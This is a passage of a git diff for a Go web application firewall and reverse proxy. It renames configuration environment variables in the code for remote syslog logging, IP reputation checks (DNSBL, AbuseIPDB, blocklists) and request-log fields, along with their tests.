|
// remote log endpoint, SWW_LOG_REMOTE_URL, as the "Request log" section
|
||||||
// of SPEC.md describes: each line as the message of an RFC 5424 syslog
|
// of SPEC.md describes: each line as the message of an RFC 5424 syslog
|
||||||
// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
|
// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
|
||||||
// or unreachable endpoint never holds up a request or stdout.
|
// or unreachable endpoint never holds up a request or stdout.
|
||||||
@@ -24,7 +24,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The forms of SWW_WAF_LOG_REMOTE_URL, by its scheme.
|
// The forms of SWW_LOG_REMOTE_URL, by its scheme.
|
||||||
const (
|
const (
|
||||||
SchemeUDP = "syslog+udp"
|
SchemeUDP = "syslog+udp"
|
||||||
SchemeTCP = "syslog+tcp"
|
SchemeTCP = "syslog+tcp"
|
||||||
@@ -56,18 +56,18 @@ const (
|
|||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// URL is the endpoint (SWW_WAF_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
|
// URL is the endpoint (SWW_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
|
||||||
// SchemeTLS, a host and a port.
|
// SchemeTLS, a host and a port.
|
||||||
URL *url.URL
|
URL *url.URL
|
||||||
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
||||||
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
// must chain to (SWW_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||||
RootCAs *x509.CertPool
|
RootCAs *x509.CertPool
|
||||||
// BufferLines is the most lines held while they wait to be sent
|
// Buffer is the most lines held while they wait to be sent
|
||||||
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
|
// (SWW_LOG_REMOTE_BUFFER).
|
||||||
BufferLines int
|
Buffer int
|
||||||
// Facility is the number of the records' syslog facility
|
// Facility is the number of the records' syslog facility
|
||||||
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
// (SWW_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||||
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
// (SWW_LOG_REMOTE_APP_NAME).
|
||||||
Facility int
|
Facility int
|
||||||
AppName string
|
AppName string
|
||||||
}
|
}
|
||||||
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
|
|||||||
// id and the structured data have no value.
|
// id and the structured data have no value.
|
||||||
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
|
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
|
||||||
afterTime: " " + hostname + " " + params.AppName + " - - - ",
|
afterTime: " " + hostname + " " + params.AppName + " - - - ",
|
||||||
records: make(chan []byte, params.BufferLines),
|
records: make(chan []byte, params.Buffer),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -250,7 +250,7 @@ func (s *Sender) send(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
processLog.Warn("sending to SWW_WAF_LOG_REMOTE_URL failed",
|
processLog.Warn("sending to SWW_LOG_REMOTE_URL failed",
|
||||||
"error", err.Error(), "connecting_again_in", delay.String())
|
"error", err.Error(), "connecting_again_in", delay.String())
|
||||||
|
|
||||||
select {
|
select {
|
||||||
|
|||||||
@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
|
|||||||
endpoint := listen(t)
|
endpoint := listen(t)
|
||||||
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
|
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
|
||||||
endpointParams.RootCAs = roots
|
endpointParams.RootCAs = roots
|
||||||
endpointParams.BufferLines = 3
|
endpointParams.Buffer = 3
|
||||||
sender, _, _ := run(t, endpointParams)
|
sender, _, _ := run(t, endpointParams)
|
||||||
|
|
||||||
// The sender connects, and its TLS handshake waits for an answer
|
// The sender connects, and its TLS handshake waits for an answer
|
||||||
@@ -403,7 +403,7 @@ func (o *output) text() string {
|
|||||||
func params(scheme string, addr net.Addr) remotelog.Params {
|
func params(scheme string, addr net.Addr) remotelog.Params {
|
||||||
return remotelog.Params{
|
return remotelog.Params{
|
||||||
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
||||||
BufferLines: 10,
|
Buffer: 10,
|
||||||
Facility: local0,
|
Facility: local0,
|
||||||
AppName: appName,
|
AppName: appName,
|
||||||
}
|
}
|
||||||
@@ -653,7 +653,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
|
|||||||
|
|
||||||
err := json.Unmarshal([]byte(line), &fields)
|
err := json.Unmarshal([]byte(line), &fields)
|
||||||
if err != nil ||
|
if err != nil ||
|
||||||
fields["msg"] != "sending to SWW_WAF_LOG_REMOTE_URL failed" {
|
fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
|
||||||
t.Fatalf("logged %q", line)
|
t.Fatalf("logged %q", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -56,17 +56,17 @@ type ChecksSpent struct {
|
|||||||
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
||||||
type AbuseIPDBParams struct {
|
type AbuseIPDBParams struct {
|
||||||
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
|
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
|
||||||
// the account's key (SWW_WAF_ABUSEIPDB_KEY).
|
// the account's key (SWW_ABUSEIPDB_KEY).
|
||||||
URL string
|
URL string
|
||||||
Key string
|
Key string
|
||||||
// MinScore is the least score that is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE),
|
// MinScore is the least score that is a hit (SWW_ABUSEIPDB_MIN_SCORE),
|
||||||
// and DailyBudget the most checks made in a day, in UTC
|
// and DailyBudget the most checks made in a day, in UTC
|
||||||
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
|
// (SWW_ABUSEIPDB_DAILY_BUDGET).
|
||||||
MinScore int64
|
MinScore int64
|
||||||
DailyBudget int
|
DailyBudget int
|
||||||
// CacheTTL is how long a score is used after it was fetched
|
// CacheTTL is how long a score is used after it was fetched
|
||||||
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a check may
|
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a check may take
|
||||||
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
|
// (SWW_REPUTATION_TIMEOUT).
|
||||||
CacheTTL time.Duration
|
CacheTTL time.Duration
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
|
|||||||
@@ -53,15 +53,15 @@ type Verdict struct {
|
|||||||
// DNSBLParams are what NewDNSBL needs.
|
// DNSBLParams are what NewDNSBL needs.
|
||||||
type DNSBLParams struct {
|
type DNSBLParams struct {
|
||||||
// Zones are the DNSBL zones clients are asked about in
|
// Zones are the DNSBL zones clients are asked about in
|
||||||
// (SWW_WAF_DNSBL_ZONES).
|
// (SWW_DNSBL_ZONES).
|
||||||
Zones []string
|
Zones []string
|
||||||
// Resolver is the resolver they are asked through
|
// Resolver is the resolver they are asked through
|
||||||
// (SWW_WAF_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
|
// (SWW_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
|
||||||
// host's, as /etc/resolv.conf names it.
|
// host's, as /etc/resolv.conf names it.
|
||||||
Resolver netip.AddrPort
|
Resolver netip.AddrPort
|
||||||
// CacheTTL is how long a verdict is used after it was fetched
|
// CacheTTL is how long a verdict is used after it was fetched
|
||||||
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a query may
|
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a query may take
|
||||||
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
|
// (SWW_REPUTATION_TIMEOUT).
|
||||||
CacheTTL time.Duration
|
CacheTTL time.Duration
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
@@ -127,13 +127,13 @@ func NewDNSBL(params DNSBLParams) *DNSBL {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Zones returns the zones, in the order SWW_WAF_DNSBL_ZONES names them.
|
// Zones returns the zones, in the order SWW_DNSBL_ZONES names them.
|
||||||
func (d *DNSBL) Zones() []string {
|
func (d *DNSBL) Zones() []string {
|
||||||
return slices.Clone(d.params.Zones)
|
return slices.Clone(d.params.Zones)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ListedBy returns the zones whose verdict on addr, a client's address,
|
// ListedBy returns the zones whose verdict on addr, a client's address,
|
||||||
// lists it, in the order SWW_WAF_DNSBL_ZONES names them, each with its key
|
// lists it, in the order SWW_DNSBL_ZONES names them, each with its key
|
||||||
// masked, as config.MaskZoneKey masks it, since they go to the request
|
// masked, as config.MaskZoneKey masks it, since they go to the request
|
||||||
// log, the alerts and the metrics. A verdict is used until CacheTTL has
|
// log, the alerts and the metrics. A verdict is used until CacheTTL has
|
||||||
// passed since it was fetched. Each zone without one is asked about addr
|
// passed since it was fetched. Each zone without one is asked about addr
|
||||||
@@ -213,7 +213,7 @@ func (d *DNSBL) Snapshot() []Verdict {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Load keeps verdicts, read from dnsbl.json, in place of those it
|
// Load keeps verdicts, read from dnsbl.json, in place of those it
|
||||||
// keeps, but for those of a zone SWW_WAF_DNSBL_ZONES does not name, and,
|
// keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
|
||||||
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
|
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
|
||||||
// more is neither used nor written, as for any verdict.
|
// more is neither used nor written, as for any verdict.
|
||||||
func (d *DNSBL) Load(verdicts []Verdict) {
|
func (d *DNSBL) Load(verdicts []Verdict) {
|
||||||
|
|||||||
@@ -40,11 +40,10 @@ const (
|
|||||||
// zone and otherZone are the DNSBL zones the tests name.
|
// zone and otherZone are the DNSBL zones the tests name.
|
||||||
zone = "dnsbl.example"
|
zone = "dnsbl.example"
|
||||||
otherZone = "other.example"
|
otherZone = "other.example"
|
||||||
// cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout
|
// cacheTTL is the tests' SWW_REPUTATION_CACHE_TTL, and timeout their
|
||||||
// their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time
|
// SWW_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
|
||||||
// /etc/resolv.conf can have Go's resolver wait for one server, so that
|
// can have Go's resolver wait for one server, so that it is the
|
||||||
// it is the DNSBL's own timeout that ends a query, whatever that file
|
// DNSBL's own timeout that ends a query, whatever that file says.
|
||||||
// says.
|
|
||||||
cacheTTL = 24 * time.Hour
|
cacheTTL = 24 * time.Hour
|
||||||
timeout = time.Second
|
timeout = time.Second
|
||||||
// listed and unlisted are clients zone is asked about by the names
|
// listed and unlisted are clients zone is asked about by the names
|
||||||
@@ -466,7 +465,7 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
|
|||||||
dnsbl := reputation.NewDNSBL(p)
|
dnsbl := reputation.NewDNSBL(p)
|
||||||
|
|
||||||
// The last verdict still in use, one fetched a TTL ago, and one of a
|
// The last verdict still in use, one fetched a TTL ago, and one of a
|
||||||
// zone SWW_WAF_DNSBL_ZONES does not name.
|
// zone SWW_DNSBL_ZONES does not name.
|
||||||
inUse := reputation.Verdict{
|
inUse := reputation.Verdict{
|
||||||
Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
|
Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
|
||||||
Fetched: now.Add(-cacheTTL + time.Nanosecond),
|
Fetched: now.Add(-cacheTTL + time.Nanosecond),
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
// Package reputation fetches the lists the settings name by URL: the
|
// Package reputation fetches the lists the settings name by URL: the
|
||||||
// blocklists of SWW_WAF_BLOCKLIST_URLS, the file of AS:percent lines
|
// blocklists of SWW_BLOCKLIST_URLS, the file of AS:percent lines
|
||||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_WAF_TAG_LISTS, and
|
// SWW_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_TAG_LISTS, and
|
||||||
// the decision list of the CrowdSec engine SWW_WAF_CROWDSEC_LAPI_URL names. It
|
// the decision list of the CrowdSec engine SWW_CROWDSEC_LAPI_URL names. It
|
||||||
// keeps the last good copy of
|
// keeps the last good copy of
|
||||||
// each, whole, comment lines included, which is used while a fetch fails,
|
// each, whole, comment lines included, which is used while a fetch fails,
|
||||||
// and when each was last tried. It also asks the DNSBL zones of
|
// and when each was last tried. It also asks the DNSBL zones of
|
||||||
// SWW_WAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
// SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
||||||
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
||||||
// today. The state package writes all of these to files and reads them
|
// today. The state package writes all of these to files and reads them
|
||||||
// from there, so that a restart keeps them too.
|
// from there, so that a restart keeps them too.
|
||||||
@@ -70,20 +70,20 @@ type List struct {
|
|||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// BlocklistURLs are the blocklists (SWW_WAF_BLOCKLIST_URLS), and
|
// BlocklistURLs are the blocklists (SWW_BLOCKLIST_URLS), and
|
||||||
// ASNLimitPercentURL the file of AS:percent lines
|
// ASNLimitPercentURL the file of AS:percent lines
|
||||||
// (SWW_WAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
|
// (SWW_ASN_LIMIT_PERCENT_URL), "" while it is unset.
|
||||||
BlocklistURLs []string
|
BlocklistURLs []string
|
||||||
ASNLimitPercentURL string
|
ASNLimitPercentURL string
|
||||||
// TagLists are the address lists that add a tag (SWW_WAF_TAG_LISTS).
|
// TagLists are the address lists that add a tag (SWW_TAG_LISTS).
|
||||||
TagLists []config.TagList
|
TagLists []config.TagList
|
||||||
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
|
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
|
||||||
// SWW_WAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
|
// SWW_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
|
||||||
// (SWW_WAF_CROWDSEC_LAPI_KEY).
|
// (SWW_CROWDSEC_LAPI_KEY).
|
||||||
CrowdSecDecisionsURL string
|
CrowdSecDecisionsURL string
|
||||||
CrowdSecKey string
|
CrowdSecKey string
|
||||||
// Refresh is how long after a list was last fetched or tried it is
|
// Refresh is how long after a list was last fetched or tried it is
|
||||||
// fetched again (SWW_WAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
|
// fetched again (SWW_BLOCKLIST_REFRESH), but for the CrowdSec decision
|
||||||
// list, which is fetched again crowdSecRefresh after.
|
// list, which is fetched again crowdSecRefresh after.
|
||||||
Refresh time.Duration
|
Refresh time.Duration
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
@@ -158,7 +158,7 @@ func New(params Params) *Lists {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// URLs returns the URL of every list: the blocklists' in the order
|
// URLs returns the URL of every list: the blocklists' in the order
|
||||||
// SWW_WAF_BLOCKLIST_URLS names them, then SWW_WAF_ASN_LIMIT_PERCENT_URL, then the
|
// SWW_BLOCKLIST_URLS names them, then SWW_ASN_LIMIT_PERCENT_URL, then the
|
||||||
// tag lists', then the CrowdSec decision list's.
|
// tag lists', then the CrowdSec decision list's.
|
||||||
func (l *Lists) URLs() []string {
|
func (l *Lists) URLs() []string {
|
||||||
urls := slices.Clone(l.params.BlocklistURLs)
|
urls := slices.Clone(l.params.BlocklistURLs)
|
||||||
@@ -178,7 +178,7 @@ func (l *Lists) URLs() []string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ListedBy returns the URLs of the blocklists whose copy lists addr, in
|
// ListedBy returns the URLs of the blocklists whose copy lists addr, in
|
||||||
// the order SWW_WAF_BLOCKLIST_URLS names them.
|
// the order SWW_BLOCKLIST_URLS names them.
|
||||||
func (l *Lists) ListedBy(addr netip.Addr) []string {
|
func (l *Lists) ListedBy(addr netip.Addr) []string {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
|
|||||||
@@ -34,8 +34,8 @@ const (
|
|||||||
dropURL = "https://lists.example/drop.txt"
|
dropURL = "https://lists.example/drop.txt"
|
||||||
torURL = "https://lists.example/tor.txt"
|
torURL = "https://lists.example/tor.txt"
|
||||||
asnURL = "https://lists.example/asn.txt"
|
asnURL = "https://lists.example/asn.txt"
|
||||||
// refresh is the tests' SWW_WAF_BLOCKLIST_REFRESH, and cooldown their
|
// refresh is the tests' SWW_BLOCKLIST_REFRESH, and cooldown their
|
||||||
// SWW_WAF_ALERT_COOLDOWN, longer than it.
|
// SWW_ALERT_COOLDOWN, longer than it.
|
||||||
refresh = 24 * time.Hour
|
refresh = 24 * time.Hour
|
||||||
cooldown = 48 * time.Hour
|
cooldown = 48 * time.Hour
|
||||||
// drop is a blocklist as the Spamhaus DROP list is written, with an
|
// drop is a blocklist as the Spamhaus DROP list is written, with an
|
||||||
@@ -118,7 +118,7 @@ func TestClientIsListedByEachBlocklistThatListsIt(t *testing.T) {
|
|||||||
}}
|
}}
|
||||||
lists := start(t, servers, params(torURL, dropURL))
|
lists := start(t, servers, params(torURL, dropURL))
|
||||||
|
|
||||||
// In the order SWW_WAF_BLOCKLIST_URLS names them.
|
// In the order SWW_BLOCKLIST_URLS names them.
|
||||||
wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
|
wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
|
||||||
wantListedBy(t, lists, "203.0.113.8", dropURL)
|
wantListedBy(t, lists, "203.0.113.8", dropURL)
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -44,18 +44,17 @@ const (
|
|||||||
ActionBlockedByBlockRule = "blocked_by_block_rule"
|
ActionBlockedByBlockRule = "blocked_by_block_rule"
|
||||||
|
|
||||||
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
|
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
|
||||||
// Set scored it at or over SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
|
// Set scored it at or over SWW_WAF_ANOMALY_THRESHOLD.
|
||||||
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
|
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
|
||||||
|
|
||||||
// ActionClientDenied is a request refused because its client is in
|
// ActionClientDenied is a request refused because its client is in
|
||||||
// SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
|
// SWW_DENY_NETS, in a blocklist while SWW_BLOCKLIST_ACTION is deny,
|
||||||
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
|
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
|
||||||
// SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, or that carries a tag in
|
// SWW_REPUTATION_ACTION is deny, or that carries a tag in SWW_TAG_DENY.
|
||||||
// SWW_WAF_TAG_DENY.
|
|
||||||
ActionClientDenied = "client_denied"
|
ActionClientDenied = "client_denied"
|
||||||
|
|
||||||
// ActionCountryDenied is a request refused because its client's country
|
// ActionCountryDenied is a request refused because its client's country
|
||||||
// is not in SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
// is not in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||||
ActionCountryDenied = "country_denied"
|
ActionCountryDenied = "country_denied"
|
||||||
// ActionOwnEndpoint is a request waf answered at one of its own
|
// ActionOwnEndpoint is a request waf answered at one of its own
|
||||||
// endpoints, or a question about a path under /_sww/.
|
// endpoints, or a question about a path under /_sww/.
|
||||||
@@ -63,12 +62,12 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// OffenceLimit is the offence a request line names for a request that
|
// OffenceLimit is the offence a request line names for a request that
|
||||||
// broke a rate limit or the refusal limit, or whose bytes broke a byte
|
// broke a rate limit or the error burst, or whose bytes broke a byte
|
||||||
// limit.
|
// limit.
|
||||||
const OffenceLimit = "limit"
|
const OffenceLimit = "limit"
|
||||||
|
|
||||||
// LimitHitMinuteRefusals is the limit_hit a request line names for a request
|
// LimitHitMinuteRefusals is the limit_hit a request line names for a request
|
||||||
// that broke the refusal limit.
|
// that broke the error burst.
|
||||||
const LimitHitMinuteRefusals = "minute_refusals"
|
const LimitHitMinuteRefusals = "minute_refusals"
|
||||||
|
|
||||||
// The waf_line a request line names, which says which of
|
// The waf_line a request line names, which says which of
|
||||||
@@ -127,7 +126,7 @@ type Line struct {
|
|||||||
ContentType string `json:"content_type,omitempty"`
|
ContentType string `json:"content_type,omitempty"`
|
||||||
// ContentLength is the length of its body the request announced.
|
// ContentLength is the length of its body the request announced.
|
||||||
ContentLength int64 `json:"content_length,omitempty"`
|
ContentLength int64 `json:"content_length,omitempty"`
|
||||||
// RequestHeaders are the headers SWW_WAF_LOG_REQUEST_HEADERS names that
|
// RequestHeaders are the headers SWW_LOG_REQUEST_HEADERS names that
|
||||||
// the request carried, by name in lower case.
|
// the request carried, by name in lower case.
|
||||||
RequestHeaders map[string]string `json:"request_headers,omitempty"`
|
RequestHeaders map[string]string `json:"request_headers,omitempty"`
|
||||||
HasAuthorization bool `json:"has_authorization,omitempty"`
|
HasAuthorization bool `json:"has_authorization,omitempty"`
|
||||||
@@ -181,7 +180,7 @@ type Line struct {
|
|||||||
// LimitHit is the window whose limit the request went over, named as
|
// LimitHit is the window whose limit the request went over, named as
|
||||||
// Counts names its count: minute, hour or day for a rate limit, and
|
// Counts names its count: minute, hour or day for a rate limit, and
|
||||||
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
|
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
|
||||||
// LimitHitMinuteRefusals for the refusal limit.
|
// LimitHitMinuteRefusals for the error burst.
|
||||||
LimitHit string `json:"limit_hit,omitempty"`
|
LimitHit string `json:"limit_hit,omitempty"`
|
||||||
// Reputation are the URLs of the blocklists that list the client, then
|
// Reputation are the URLs of the blocklists that list the client, then
|
||||||
// that of the CrowdSec decision list when it does, then the DNSBL zones
|
// that of the CrowdSec decision list when it does, then the DNSBL zones
|
||||||
@@ -190,7 +189,7 @@ type Line struct {
|
|||||||
Reputation []string `json:"reputation,omitempty"`
|
Reputation []string `json:"reputation,omitempty"`
|
||||||
// Tags are the request's tags, sorted.
|
// Tags are the request's tags, sorted.
|
||||||
Tags []string `json:"tags,omitempty"`
|
Tags []string `json:"tags,omitempty"`
|
||||||
// RouteWatchTagsMissing, while SWW_WAF_ROUTEWATCH_URL is set, says why the
|
// RouteWatchTagsMissing, while SWW_ROUTEWATCH_URL is set, says why the
|
||||||
// request got no tags from routewatch: no_answer_yet, request_failed or
|
// request got no tags from routewatch: no_answer_yet, request_failed or
|
||||||
// no_route.
|
// no_route.
|
||||||
RouteWatchTagsMissing string `json:"routewatch_tags_missing,omitempty"`
|
RouteWatchTagsMissing string `json:"routewatch_tags_missing,omitempty"`
|
||||||
@@ -234,11 +233,10 @@ type RProxyLine struct {
|
|||||||
DurationRequestMS float64 `json:"duration_request_ms"`
|
DurationRequestMS float64 `json:"duration_request_ms"`
|
||||||
DurationResponseMS float64 `json:"duration_response_ms"`
|
DurationResponseMS float64 `json:"duration_response_ms"`
|
||||||
// Disposition is the valid disposition waf answered or, while
|
// Disposition is the valid disposition waf answered or, while
|
||||||
// WAFBackendNoAnswer is true, the value of
|
// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is ""
|
||||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
|
// when neither gave one.
|
||||||
// gave one.
|
|
||||||
Disposition string `json:"disposition,omitempty"`
|
Disposition string `json:"disposition,omitempty"`
|
||||||
WAFBackendNoAnswer bool `json:"waf_backend_no_answer,omitempty"`
|
DefaultDisposition bool `json:"default_disposition,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// Write writes line to w as one JSON line marked "type":"request".
|
// Write writes line to w as one JSON line marked "type":"request".
|
||||||
@@ -293,8 +291,8 @@ func Milliseconds(d time.Duration) float64 {
|
|||||||
|
|
||||||
// NewProcessLogger returns the logger for the process's own messages:
|
// NewProcessLogger returns the logger for the process's own messages:
|
||||||
// JSON lines on w, marked "type":"process", with the time in the same form
|
// JSON lines on w, marked "type":"process", with the time in the same form
|
||||||
// as a request line's, and instanceName, SWW_WAF_INSTANCE_NAME, as instance.
|
// as a request line's, and instanceName, SWW_INSTANCE_NAME, as instance.
|
||||||
// It writes only the messages at level, SWW_WAF_LOG_LEVEL, or more severe;
|
// It writes only the messages at level, SWW_LOG_LEVEL, or more severe;
|
||||||
// the request lines Write writes are never held back.
|
// the request lines Write writes are never held back.
|
||||||
func NewProcessLogger(
|
func NewProcessLogger(
|
||||||
w io.Writer,
|
w io.Writer,
|
||||||
|
|||||||
@@ -81,7 +81,7 @@ type Answer struct {
|
|||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// URL is where routewatch is (SWW_WAF_ROUTEWATCH_URL).
|
// URL is where routewatch is (SWW_ROUTEWATCH_URL).
|
||||||
URL string
|
URL string
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
|
|||||||
@@ -11,16 +11,16 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// errResponseTooLarge ends an app's response body that is longer than
|
// errResponseTooLarge ends an app's response body that is longer than
|
||||||
// SWW_RPROXY_MAX_RESPONSE_SIZE.
|
// SWRP_MAX_RESPONSE_SIZE.
|
||||||
var errResponseTooLarge = errors.New(
|
var errResponseTooLarge = errors.New(
|
||||||
"the response body is over SWW_RPROXY_MAX_RESPONSE_SIZE")
|
"the response body is over SWRP_MAX_RESPONSE_SIZE")
|
||||||
|
|
||||||
// requestBody is the visitor's request body. rproxy first reads up to the first
|
// requestBody is the visitor's request body. rproxy first reads up to the first
|
||||||
// 64 KiB of it into held, and then, on its way to the app, the transport reads
|
// 64 KiB of it into held, and then, on its way to the app, the transport reads
|
||||||
// it on a goroutine of its own.
|
// it on a goroutine of its own.
|
||||||
type requestBody struct {
|
type requestBody struct {
|
||||||
// body is the visitor's body, ending in an *http.MaxBytesError past
|
// body is the visitor's body, ending in an *http.MaxBytesError past
|
||||||
// SWW_RPROXY_MAX_REQUEST_SIZE.
|
// SWRP_MAX_REQUEST_SIZE.
|
||||||
body io.ReadCloser
|
body io.ReadCloser
|
||||||
rq *request
|
rq *request
|
||||||
// held is the part read before the request goes to the app, which Read gives
|
// held is the part read before the request goes to the app, which Read gives
|
||||||
@@ -84,7 +84,7 @@ func (b *requestBody) Close() error {
|
|||||||
// responseBody is the app's response body on its way to the visitor.
|
// responseBody is the app's response body on its way to the visitor.
|
||||||
type responseBody struct {
|
type responseBody struct {
|
||||||
// body is the app's body, ending in an *http.MaxBytesError past
|
// body is the app's body, ending in an *http.MaxBytesError past
|
||||||
// SWW_RPROXY_MAX_RESPONSE_SIZE.
|
// SWRP_MAX_RESPONSE_SIZE.
|
||||||
body io.ReadCloser
|
body io.ReadCloser
|
||||||
rq *request
|
rq *request
|
||||||
}
|
}
|
||||||
|
|||||||
+14
-151
@@ -17,7 +17,6 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
@@ -26,10 +25,6 @@ import (
|
|||||||
// post is the start of a POST whose headers end with what follows it.
|
// post is the start of a POST whose headers end with what follows it.
|
||||||
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
|
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
|
||||||
|
|
||||||
// limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
|
|
||||||
// body, the 64 KiB rproxy reads before it asks waf.
|
|
||||||
const limitPastFirstPart = "128K"
|
|
||||||
|
|
||||||
// announcedLength is the header that announces a body of size bytes, and the
|
// announcedLength is the header that announces a body of size bytes, and the
|
||||||
// end of the headers.
|
// end of the headers.
|
||||||
